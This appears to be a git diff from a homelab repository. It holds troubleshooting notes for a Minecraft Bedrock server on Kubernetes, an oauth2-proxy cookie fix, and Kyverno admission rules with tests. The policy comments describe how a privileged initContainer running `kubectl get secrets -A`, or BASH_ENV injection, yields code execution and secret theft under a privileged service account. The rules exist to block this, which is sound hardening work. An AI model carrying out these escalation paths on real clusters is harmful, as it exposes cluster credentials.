/crafty/servers/c5837301-…/server.properties`) and started the server at 21:33:58. BDS **1.26.52**
printed, at ERROR level:
```
[ERROR] ================ TRANSPORT TYPE ERROR ===================
[ERROR] Your current connection type is not set to NetherNet. In this release, NetherNet is the only
supported transport type.
[ERROR] Players will not be able to connect to your game without NetherNet.
[ERROR] To switch, set 'transport=nethernet' in server.properties.
```
**That banner is advisory, not fatal. Do not revert `transport` on seeing it.** Every claim it makes
about connectivity was false on this cluster within five seconds of it being printed:
- The process **kept running** (`./bedrock_server`, pid 47006) and **bound the RakNet sockets**:
`/proc/net/udp` `00000000:4ABC` (19132, IPv4) and `/proc/net/udp6` `…:4ABD` (19133, IPv6), both owned
by `bedrock_server` — `/proc/47006/fd/25` and `fd/26` → those socket inodes. The earlier **TCP** bind
on `4ABC` is **gone**.
- Crafty's warning **changed kind** at that instant: last `Got timeout` at `21:34:04,306`, first
`Bedrock ping returned a string with too few fields` at `21:34:09,854`. That distinction is
load-bearing — read `raknet_ping.py`: `Got timeout` is emitted *only* when `sock.recv` raises
`TimeoutError` (nothing came back at all), whereas `too few fields` is reachable *only after* a
`0x1C` Unconnected Pong has arrived **and its magic has validated**. The server is answering pings.
- **End-to-end, from off-cluster:** a RakNet Unconnected Ping sent from the LAN to the prod VIP
`192.168.2.22:19132` returns a 139-byte `0x1c` Unconnected Pong in ~12 ms, magic valid:
MCPE;Dedicated Server;2193;1.26.52;0;10;11676629557768398479;Bedrock level;Survival;1;19132;19133;0;0;0;
Edition `MCPE`, protocol `2193`, version **`1.26.52`**, `0/10` players. **Players can reach this
server now**, through the VIP, the Service, and the CiliumNetworkPolicy, with no manifest change.
- The vendor doc on disk contradicts the banner and matches the observed behaviour. `transport` is
documented as *"Allowed values: raknet, nethernet"*, and: *"**raknet** — The traditional Bedrock UDP
transport. The server listens directly on `server-port` (IPv4) and `server-portv6` (IPv6), and
clients connect to that address and port."* RakNet is also still fully compiled into the binary —
`strings bedrock_server` yields `RakNetConnector`, `createUniqueRakPeer`, `RakPeerInterface` and the
vendored build path `…/src-deps/raknet/raknet/RakNetSocket2.cpp`.
So *"NetherNet is the only supported transport type"* is a **support statement, not a capability
statement**: Microsoft declines to support RakNet and ships it working. Treat the banner as a
deprecation notice with an **unknown expiry** — a future BDS may genuinely remove RakNet, and that is
the day this exposure needs GeyserMC (see *If RakNet is ever really removed* below).
> **The shipped-comment trap, stated plainly.** `server.properties` lists `raknet` as allowed and the
> binary logs an ERROR saying it is not supported. Both are the vendor, and they disagree. The tiebreak
> is neither prose: it is `/proc/net/udp` and a pong on the wire. Whenever this file says a Bedrock
> server is or is not reachable, it is because someone pinged it — not because a comment said so.
#### The steady-state `too few fields` warning is benign and is now the expected signature
Crafty will log `Bedrock ping returned a string with too few fields - missing values [None]` every
~5 s forever. **That means the ping SUCCEEDED.** BDS 1.26.52's pong carries 16 `;`-separated fields;
Crafty 4.10.8's `pingpong_string_fields` table knows 14 and expects the last to be an empty
terminator. It instead finds `'0'`, so `last_enumeration` stops at index 12 and the parser reports the
one `None` terminator entry as missing. Every field that matters (edition, MOTD, protocol, version
name, player count, max players, uuid, game mode, both ports) parsed correctly. **Do not chase this
warning.** The failure signature is the *other* message, `Got timeout`.
### "You are not invited to play on this server" — the join gate is the allowlist, not the network (MEASURED 2026-09-29 21:56; **RESOLVED and confirmed 22:03**)
A Bedrock client reported **"Unable to connect / You are not invited to play on this server"**. That is
an **authorization** refusal, and it is the expected, guaranteed behaviour of this server's current
configuration. Measured:
| Property / file | Value | Source |
|---|---|---|
| `allow-list` | **`true`** (line 37) | `server.properties` |
| `allowlist.json` | **`[]`** — 3 bytes, mtime 20:51, never edited since server create | `cat allowlist.json` |
| `online-mode` | `true` (line 31) | `server.properties` |
| `transport` | **`raknet`** (line 71), file mtime **still 21:33:31** | `server.properties` |
| TCP 19132 listener | **none** (`NO-TCP-4ABC`) | `grep 4ABC /proc/net/tcp /proc/net/tcp6` |
| UDP 19132 listener | present, `00000000:4ABC`, pid 47006 | `grep 4ABC /proc/net/udp` |
**`allow-list=true` with an empty `allowlist.json` refuses every player, unconditionally.** The shipped
`bedrock_server_how_to.html` states it: *"If the `allow-list` property is enabled in server.properties
then the server will only allow selected users to connect. To allow a user to connect you need to know
their Xbox Live **Gamertag**."* An empty list selects nobody. This is not a network problem, not a
transport problem, and not a platform problem — and no amount of Service or policy work will change it.
#### CONFIRMED: one gamertag added, and a player joined
**This is no longer a hypothesis. The fix was applied and it worked.** *(The join itself is
**operator-reported** — 2026-09-29, the operator added the player's gamertag and the Bedrock client
connected and joined. I did not watch it.)* Two independent things corroborate it **directly on disk**:
- `allowlist.json` went from `[]` to **one entry**, and that entry's **`xuid` is populated**
(`keys=['ignoresPlayerLimit','name','xuid']`, file 75 bytes, mtime **22:03:17**). Per the vendor doc,
`xuid` is *"Optional. If it's not set then it will be populated when someone with a matching name
**connects**."* The operator wrote only the name — `audit.log` records `Edited file
…/allowlist.json` at **22:02:13** — so **the XUID was written by the server, on connect, at 22:03:17**.
That is server-authored evidence of an Xbox-Live-authenticated join. *(Observed: the file state and
both timestamps. Reasoned from the vendor doc: that a populated XUID implies a connect.)*
- The RakNet path still answers after the restart this involved: a pong from `192.168.2.22:19132` at
22:06, `MCPE;…;1.26.52;0;10;…` (`players=0` — the player had left by then), new `server_guid` matching
the new pid.
**So the causal chain is closed: `allow-list=true` + `allowlist.json == []` was the wall, and nothing
else was.** The earlier mapping of the client's *"You are not invited"* string to the empty allowlist was
**reasoned** from the vendor doc (there is no BDS log on disk to read it from); adding exactly one
gamertag and getting exactly one successful join **confirms that mapping**. No transport change, no
manifest change, and no network change was involved in the fix.
> **Note the route the operator actually used:** they **edited `allowlist.json` directly** and then
> **restarted** the server (`audit.log`: edit 22:02:13 → `stop_server` 22:02:37 → `start_server`
> 22:02:41; pid 47006 → **47875**). That is route 2 below, and a restart is a valid substitute for
> `allowlist reload`. Route 1 (`allowlist add` in the console) avoids the restart and is still preferred.
**This is also positive evidence that the RakNet path works end to end.** A refusal authored by *our*
server required the client to reach our server and get an answer back. The only listener on 19132 is
the **RakNet UDP** socket — there is **no TCP 19132 listener at all**, and NetherNet requires a TCP
signalling socket on `server-port`. So the client cannot have used NetherNet against this server; it
arrived over `19132/udp`, through `crafty-l4-udp` and the VIP. **The 19132-19134/UDP exposure is not
inert — it is the path that carried both the pong and this refusal.** *(Observed: the listeners, the
absent TCP socket, `transport=raknet`. Reasoned from those: that the refusal traversed that path. Not
captured: the actual player flow — see the caveat below.)*
#### Caveat: BDS console output is NOT on disk, so a join attempt cannot be correlated from the filesystem
`K3s-Bedrock`'s `log_path` in `crafty.sqlite` is the **empty string**, and `Dedicated_Server.txt` is
**0 bytes**. Crafty does not persist a Bedrock server's stdout anywhere on the PVC — the console exists
only in the panel UI. `commander.log` between 21:39 and 21:56 contains nothing but `homelab`
crash-detection lines and the `raknet_ping` chatter: **no join, no gamertag, no XUID, no allowlist
denial.** That absence is **not** evidence about where the refusal came from; it is evidence that
Crafty logs no BDS stdout at all. **To see a rejected join you must watch the panel console live.**
UNVERIFIED, and only observable in the UI.
#### How a Bedrock player actually gets authorized here
Identity is an **Xbox Live Gamertag** (`online-mode=true` forces XBL auth, which is what gives BDS a
gamertag/XUID to check). `allowlist.json` is a JSON array; per the vendor doc the keys are `name` (the
gamertag), optional `xuid` (*"populated when someone with a matching name connects"*), and
`ignoresPlayerLimit`. So the operator adds **one entry per player, keyed on gamertag** — there is no
group, role, or Keycloak integration, and **none of this touches the oauth2-proxy/Keycloak gate**,
which protects only the web panel.
Three ways to do it, all **operator actions**. **Routes 1 and 2 are both proven** — route 2 is the one
that produced the confirmed join above:
1. **Preferred — the panel console.** In Crafty, open `K3s-Bedrock` → Console and send:
`allowlist add <Gamertag>` (quote it if it contains a space: `allowlist add "Example Name"`).
This writes `allowlist.json` **and** takes effect immediately, with no restart.
2. **Edit the file, then reload.** Write `/crafty/servers/c5837301-…/allowlist.json`, then send
`allowlist reload` in the console — *"After you've modified the file you need to run the command
`allowlist reload` to make sure that the server knows about your new change."* Shape:
```json
[
{ "ignoresPlayerLimit": false, "name": "FirstPlayerGamertag" },
{ "ignoresPlayerLimit": false, "name": "SecondPlayerGamertag" }
]
```
3. **Turn the allowlist off entirely** — `allow-list=false` in `server.properties` (restart), or
`allowlist off` in the console. Note the vendor's warning: `allowlist on|off` *"does not change the
value in the server.properties file"*, so a console `off` silently reverts on the next start.
**Not recommended:** the game port is deliberately un-gated at the network layer (see *Game-port L4
exposure*), so the allowlist is the **only** thing deciding who may join. Keep it `true` and enumerate
players.
> **`allowlist.json` is application state on the PVC**, exactly like `transport=raknet`. Neither is in
> git and **Flux can restore neither**. Be precise about what breaks them, because the two cases differ:
>
> - **A pod or server *restart* preserves both** — observed: the 22:02:48 restart (pid 47006 → 47875)
> kept `transport=raknet` (`server.properties` mtime unchanged at 21:33:31) and kept the allowlist
> entry. What a **pod** restart *does* break is that `K3s-Bedrock` has `auto_start=0`, so the Bedrock
> server simply **does not come back** until someone starts it by hand.
> - **A server *recreate* or reinstall silently resets both** — a fresh `server.properties` ships
> `transport=nethernet` (nothing bound on 19132/udp) and a fresh `allowlist.json` is `[]` (everyone
> refused). Neither change announces itself, and the server will look healthy and started in the panel
> while being unreachable *and* unjoinable.
>
> **Treat both files as backup-relevant, and re-run the 5-step connect procedure above after any Bedrock
> recreate or BDS update.**
#### Why this does not change the transport recommendation
`transport=raknet` is correct, and with the allowlist entry in place the combination is **proven
end-to-end by a player who has joined** — not merely the best-reasoned option. The allowlist refusal was
orthogonal to transport all along: it would have refused players identically under NetherNet. Switching
to NetherNet would *add* work (TCP 19132 in `crafty-l4-tcp` **and** in `crafty-allow-ingress`, plus
`server-udp-ports` pinned and exposed) and would admit **not one extra player**. The ranking below stands,
and option 1 is now settled rather than provisional.
#### Decision (PROVEN, not provisional): `transport=raknet` stays; the 19132-19134/UDP exposure is correct and live
No manifest change is needed or wanted. `service-l4.yaml`, `networkpolicy.yaml` and the
`containerPort`s were already shaped for exactly RakNet, and that shape is now **proven by a player who
has connected and joined over `192.168.2.22:19132`** — not assumed, and not merely reasoned. The options
that would have required manifest work are all **not recommended**:
| Option | Manifest consequence | Verdict |
|---|---|---|
| **Keep `transport=raknet`** + allowlist entries (**this is what works**) | **none** — the existing Service, policy and ports were already correct | **Done; proven.** A player has joined over the VIP. Zero manifest change, vanilla parity, real Bedrock world. |
| **GeyserMC + Floodgate** on the `homelab` Paper server | none either (Geyser also binds `19132/udp`), but it would **collide** with the live BDS on 19132 — one of them must move | Hold in reserve. Only worth it if RakNet is really removed, or if you *want* one shared world. Cost: Bedrock players join the **Java** world, not a Bedrock world; Java-only mechanics and some content differ; it is another moving part to patch. |
| **Pin/downgrade BDS** to a pre-nethernet release | none | Unnecessary — the *current* build already speaks RakNet. Also fragile: Microsoft removes old BDS downloads, and Crafty's Bedrock installer tracks latest. UNVERIFIED whether Crafty can pin a version at all. |
| **A third-party server** (PocketMine-MP, Nukkit) | none | No. Loses vanilla parity and the world format; a large change to solve a problem that is not occurring. |
| **Accept NetherNet** | 19132-19134/UDP becomes **inert**; nethernet would instead need **TCP** 19132 added to `crafty-l4-tcp` *and* to `crafty-allow-ingress`, plus `server-udp-ports` pinned and exposed for the negotiated media path | No — and note it is **not currently in use**: `transport=raknet` and there is no TCP 19132 listener. Strictly more manifest work than the option that already works, it admits no extra player (the allowlist is the gate), and WebRTC media behind a shared VIP and SNAT is unproven here. |
#### If RakNet is ever really removed
Then BDS opens no UDP listener and this exposure has nothing to bind to — an architecture problem, not
a config one. The migration is **GeyserMC + Floodgate as a plugin on the existing `homelab` Paper
server**, because Geyser speaks RakNet on `19132/udp` itself: the VIP, the Service, the policy and the
`containerPort`s all stay **byte-for-byte as they are**, and Bedrock clients keep connecting to
`crafty-mc.home.keithjackson.dev:19132`. What changes is the world: Bedrock players land in the Java
world via Floodgate (no Xbox-authenticated Bedrock account needed on the Java side), the Bedrock server
is retired, and `K3s-Bedrock` stops the day Geyser starts — **they cannot share 19132**. Installing it
is a PVC write plus a Paper restart, i.e. an **operator action**: drop `Geyser-Spigot.jar` and
`floodgate-spigot.jar` into `/crafty/servers/13c7b85d-…/plugins/` and restart `homelab`, then set
Geyser's `bedrock.port: 19132` and `clone-remote-port: false` in its generated `config.yml`.
Geyser's own Bedrock-version support is **external and unmeasured here** — check that it supports the
Bedrock client version in use before committing.
### Bedrock realities that are NOT platform defects but present identically
- **LAN / Friends-tab discovery can never work here.** Bedrock discovery is a UDP broadcast on 19132
inside one L2 segment; this server sits behind a LoadBalancer VIP (and SNAT), not on the LAN, so it
will **never** appear in a client's Friends/LAN list. Players must use **Add Server** and type the
address and port by hand: `crafty-mc.home.keithjackson.dev` (or the VIP) with port **19132**.
`external-dns` publishes that name from the **-tcp** Service, so it resolves to the shared VIP and
is correct for Bedrock too — only the port differs from Java's 25565.
- **Consoles cannot reach this at all.** Switch/Xbox/PlayStation Bedrock clients have no
arbitrary-server-address field; only Windows/mobile/Fire do. Reaching it from a console needs a DNS
redirect of a featured-server hostname, which is out of scope for `service-l4.yaml`.
- **`enable-lan-visibility=true` (the shipped default) collides with Bedrock slots 1 and 2 — now
OBSERVED, not merely documented.** Under `transport=raknet` it makes a server bind the **default**
ports 19132 *and* 19133 even when `server-port`/`server-portv6` say otherwise; the shipped
`bedrock_server_how_to.html` says so, and on 2026-09-29 a RakNet ping to
`192.168.2.22:19133` returned **the same pong, from the same `server_guid`, as `:19132`** — one
server occupying two of the three Bedrock slots. `:19134` correctly timed out. So a second Bedrock
server put on 19133 will fight the first. Set `enable-lan-visibility=false` on every Bedrock server
after the first; LAN discovery cannot work here anyway (above).
- **`server-portv6` is the IPv6 listener and is not exposed; `19133` is nonetheless in use.**
`service-l4.yaml` is IPv4 single-stack, so the *IPv6* socket `…:4ABD` that BDS opens for
`server-portv6=19133` is unreachable from the LAN. But because `enable-lan-visibility=true` (above)
the server *also* answers on **IPv4 19133**, which the UDP Service does expose — measured. So
`19133` in `server.properties` genuinely does mean "slot 1 is taken", contrary to what this file
previously said.
## Policies
`namespace.yaml` sets only `gateway-access=shared` (platform namespace, like headlamp/homepage), so
@@ -423,48 +114,14 @@ Gateway VIP). The sidecar→Crafty hop is pod-local (`127.0.0.1`) and not subjec
local admin. A **non-platform-admins** user → **403** (authenticated but not authorized).
2. **Pod health / fsGroup:** `kubectl -n crafty get pod` Ready 2/2; Crafty writes its DB under
`/crafty/app/config` and `/crafty/servers` without EACCES.
3. **Server-create + game reach (Java):** in the Crafty UI create a Java server bound to `25565`;
start it; connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or
`192.168.2.22:25565`) from the LAN and confirm the world loads.
4. **Bedrock: the connect procedure (VERIFIED end-to-end 2026-09-29 — a player has joined).**
Creating and starting the server is **not sufficient**. Do these in order; each step has a distinct
failure signature:
1. **`transport=raknet`** in `server.properties`. The vendor default is `nethernet`, which opens
**no UDP listener at all**.
2. **A live UDP listener:** `grep 4ABC /proc/net/udp /proc/net/udp6` → a wildcard bind. Under
`nethernet` you instead see `4ABC` on **TCP**, which nothing here exposes.
3. **A pong from off-cluster:** a RakNet Unconnected Ping to `192.168.2.22:19132` returns a `0x1c`
packet whose MOTD string starts `MCPE;`. This proves the VIP, Service and policy path.
4. **An allowlist entry for the player's Xbox Gamertag.** `allow-list=true` with
`allowlist.json == []` refuses **every** player with *"You are not invited to play on this
server"* while the server is otherwise perfectly reachable. In the panel console:
`allowlist add <Gamertag>`.
5. **Add Server** by hand in a Windows/mobile client: `crafty-mc.home.keithjackson.dev`, port
`19132`. It will never appear in the LAN/Friends tab, and a console cannot reach it at all.
**Two log messages appear on a fully working server and must be ignored:** BDS's
`================ TRANSPORT TYPE ERROR ===================` banner (advisory — see *Trap 2*), and
Crafty's perpetual `Bedrock ping returned a string with too few fields`. Neither indicates a fault;
chasing them is what cost two sessions. The **real** failure signatures are `Got timeout while
issuing bedrock ping` (no listener) and *"You are not invited"* (allowlist).
3. **Server-create + game reach:** in the Crafty UI create a Java server bound to `25565`; start it;
connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or `192.168.1.55:25565`)
from the LAN and confirm the world loads. (Bedrock: a server on `19132/udp` reached at the VIP.)
## Runtime state: the servers themselves are NOT in git
As of 2026-09-29 **two** servers exist (both measured live, `select * from servers`):
| Name | Type | Port | UUID | `auto_start` |
|---|---|---|---|---|
| `homelab` | `minecraft-java` (Paper 26.2, 2 GiB heap) | TCP 25565 | `13c7b85d-00bb-4a58-8c86-2433ca47891c` | **1** |
| `K3s-Bedrock` | `minecraft-bedrock` | UDP 19132 | `c5837301-12b1-404e-b50e-70eafb37226b` | **0** ⚠ |
`K3s-Bedrock` was created 2026-09-29 20:51 and **still** has `auto_start=0` **and**
`crash_detection=0` — re-measured 2026-09-29 21:41 straight out of `crafty.sqlite` (read-only), so the
create-API trap documented at the bottom of this file is still live and still unfixed. **It will not
come back after a pod restart**, and merging any change to `deployment.yaml` restarts the pod
(`strategy: Recreate`). PATCH both to true and read them back.
`homelab` was created through Crafty's v2 API, and **Mojang's
As of 2026-09-14 one Java server exists — **"homelab"**, Paper 26.2, TCP 25565, 2 GiB heap, autostart
on, UUID `13c7b85d-00bb-4a58-8c86-2433ca47891c`. It was created through Crafty's v2 API, and **Mojang's
EULA (<https://aka.ms/MinecraftEULA>) was accepted on the operator's behalf** to let it start; see the
DECISIONS-LOG entry of that date.
@@ -475,10 +132,6 @@ application state on the `crafty-data` Longhorn PVC, in two places, and **Flux c
heap sizes, `auto_start` / `crash_detection`.
- `/crafty/servers/<uuid>/` (`servers` subPath) — `paper.jar`, `eula.txt`, `server.properties`, and
**the generated world**. The jar is re-downloadable; the world is not.
**`transport=raknet` lives here too.** It is the one setting that makes Bedrock reachable at all (see
*the transport trap*), it is not in git, Flux cannot restore it, and a freshly created or reinstalled
Bedrock server gets the vendor default `transport=nethernet` back — i.e. it silently regresses to
"nothing bound on 19132/udp". Re-apply and re-ping after any Bedrock server recreate or BDS update.
So a rebuild from git alone yields a healthy but **empty** Crafty with nothing listening on 25565.
Recreating a server by hand means: create it in the UI or API, accept the EULA again, and PATCH
+1 -21
View File
@@ -150,27 +150,7 @@ spec:
# Single provider => 302 straight to Keycloak, no oauth2-proxy interstitial button.
- --skip-provider-button=true
- --redirect-url=https://crafty.${BASE_DOMAIN}/oauth2/callback
# ── COOKIE ISOLATION (bug fix 2026-09-29) ────────────────────────────────────────────
# This sidecar and the SHARED forward-auth oauth2-proxy (platform/oauth2-proxy) are
# INDEPENDENT instances holding DIFFERENT cookie-secrets (verified in-cluster: the two
# `cookie-secret` values differ, so neither can decrypt the other's cookie). Both used
# to emit oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and `_oauth2_proxy_csrf`)
# scoped to `.${BASE_DOMAIN}`, so the browser kept ONE pair of cookies for BOTH proxies:
# whichever authenticated last overwrote the other's session, and the loser then logged
# "No valid authentication in request" and bounced to Keycloak -- which, thanks to the
# live Keycloak SSO session, silently redirected back and overwrote the cookie again.
# That mutual eviction presents EXACTLY as the reported symptom: "I signed in to
# Keycloak but I am still not signed in to the app."
# Two independent fixes, both applied here (only this side changes -- renaming the
# SHARED proxy's cookie would sign every other gated app out):
# 1. --cookie-name: a unique name, so the two sessions cannot alias at all.
# 2. --cookie-domain: HOST-scoped. A per-app reverse proxy has no reason to broadcast
# its session to every other host in the zone; the shared proxy keeps the wide
# scope because cross-host forward-auth is precisely its job.
# --whitelist-domain deliberately stays zone-wide: it governs permitted post-login
# REDIRECT targets, not cookie scope.
- --cookie-name=_oauth2_proxy_crafty
- --cookie-domain=crafty.${BASE_DOMAIN}
- --cookie-domain=.${BASE_DOMAIN}
- --whitelist-domain=.${BASE_DOMAIN}
- --cookie-secure=true
- --pass-access-token=true
@@ -142,3 +142,236 @@ spec:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
# =========================================================================================
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
#
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
# executing an arbitrary command, because Kubernetes places no `use` check on
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
#
# a Job with serviceAccountName conformance-runner and an initContainer
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
# needed — the suite has to be cloned at the commit under test. But while the clone logic
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
# the committed script from an attacker's: both are just `args` on a shell. So the clone
# logic moved into the runner image at a fixed path
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
# rule pins `command` to that path with NO args. An admitted init container therefore
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
# itself validates against ^[0-9a-f]{40}$.
#
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
# element matches", which would admit the committed clone step PLUS an arbitrary second
# init container — the same class of hole rule 2's comment describes for volumes.
# =========================================================================================
- name: trigger-initcontainers-must-be-the-committed-clone-step
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
committed clone step: the digest-pinned conformance-runner image,
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
escalation, not privileged. An initContainer running a shell with a caller-supplied
script is arbitrary code execution as the privileged conformance-runner SA — the
escalation the rest of this policy exists to prevent. See
conformance/incluster/conformance-clone.
foreach:
- list: "request.object.spec.template.spec.initContainers"
deny:
conditions:
any:
# At most one. The committed run needs exactly one clone step; a second
# init container has no legitimate purpose and is how you smuggle one in.
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
operator: GreaterThan
value: 1
# Digest-pinned under the conformance repository path — same rule as
# containers[0], same honest limit (see IMAGE PINNING in the header).
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
operator: Equals
value: false
# The baked-in entrypoint, exactly — not a shell, not a second path.
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
operator: NotEquals
value: "/usr/local/bin/conformance-clone"
# NO ARGS. This is the whole point: args on an init container are
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
- key: "{{ length(not_null(element.args, `[]`)) }}"
operator: GreaterThan
value: 0
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
# the COMPLIANT value false into true and deny every good Job.
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
operator: NotEquals
value: true
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
operator: NotEquals
value: false
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
operator: NotEquals
value: false
# =========================================================================================
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
# container list on a PodSpec, and it was as unread as `initContainers` was.
#
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
# when the field is absent, and removes the need to be right about it. If the API server
# does reject it, nothing changes; if it does not, this is the same hole again.
# =========================================================================================
- name: trigger-may-not-declare-ephemeral-containers
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not declare ephemeralContainers. The committed
conformance run has no use for one, and an ephemeral container is a third container
list running as the privileged conformance-runner SA with an arbitrary command.
deny:
conditions:
all:
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
operator: GreaterThan
value: 0
# =========================================================================================
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
#
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
# environment variable on either container.
#
# That is not hypothetical. Both programs the Job runs read their environment:
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
# image (it dies on a mismatch rather than honouring a redirect — which is why the
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
# already closed there, in the image, not here);
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
# thing standing between a caller-chosen env var and the privileged SA.
#
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
# name is what a program keys its behaviour on.
# =========================================================================================
- name: trigger-env-names-must-be-the-committed-set
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may set only the committed environment variables. The runner
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
conformance-runner SA. Widening this list is a reviewed one-line change.
foreach:
- list: "request.object.spec.template.spec.containers[0].env"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONF_ARTIFACTS
- CONF_EMIT_ARTIFACTS_TGZ
- TMPDIR
- HOME
# Flattened across init containers: the rule above already caps them at one, but this
# must not silently stop checking if that cap is ever relaxed.
- list: "request.object.spec.template.spec.initContainers[].env[]"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONFORMANCE_GIT_SHA
- CONFORMANCE_REPO_URL
- CONFORMANCE_SRC
- GITEA_USERNAME
- GITEA_TOKEN
- TMPDIR
- HOME
- name: trigger-may-not-use-envfrom
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
as environment variables, whose KEYS are not visible in the Job at all — which would
make the env-name allowlist above unenforceable by inspection.
deny:
conditions:
any:
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
operator: GreaterThan
value: 0
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
operator: GreaterThan
value: 0
@@ -19,20 +19,48 @@ resources:
userinfo: user-info.yaml
results:
# ---- the committed run is ADMITTED ----
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
# 2am against the live cluster. `good-run` remains the minimal shape.
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
# `real-template` is the only fixture WITH an init container, so it is the only one this
# rule reports on — a foreach over an absent list yields no result at all, which is why
# `good-run` is not listed here.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [good-run, real-template]
result: pass
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [good-run, real-template]
result: pass
# ---- THE escalation: runner SA + arbitrary command ----
@@ -55,3 +83,38 @@ results:
kind: Job
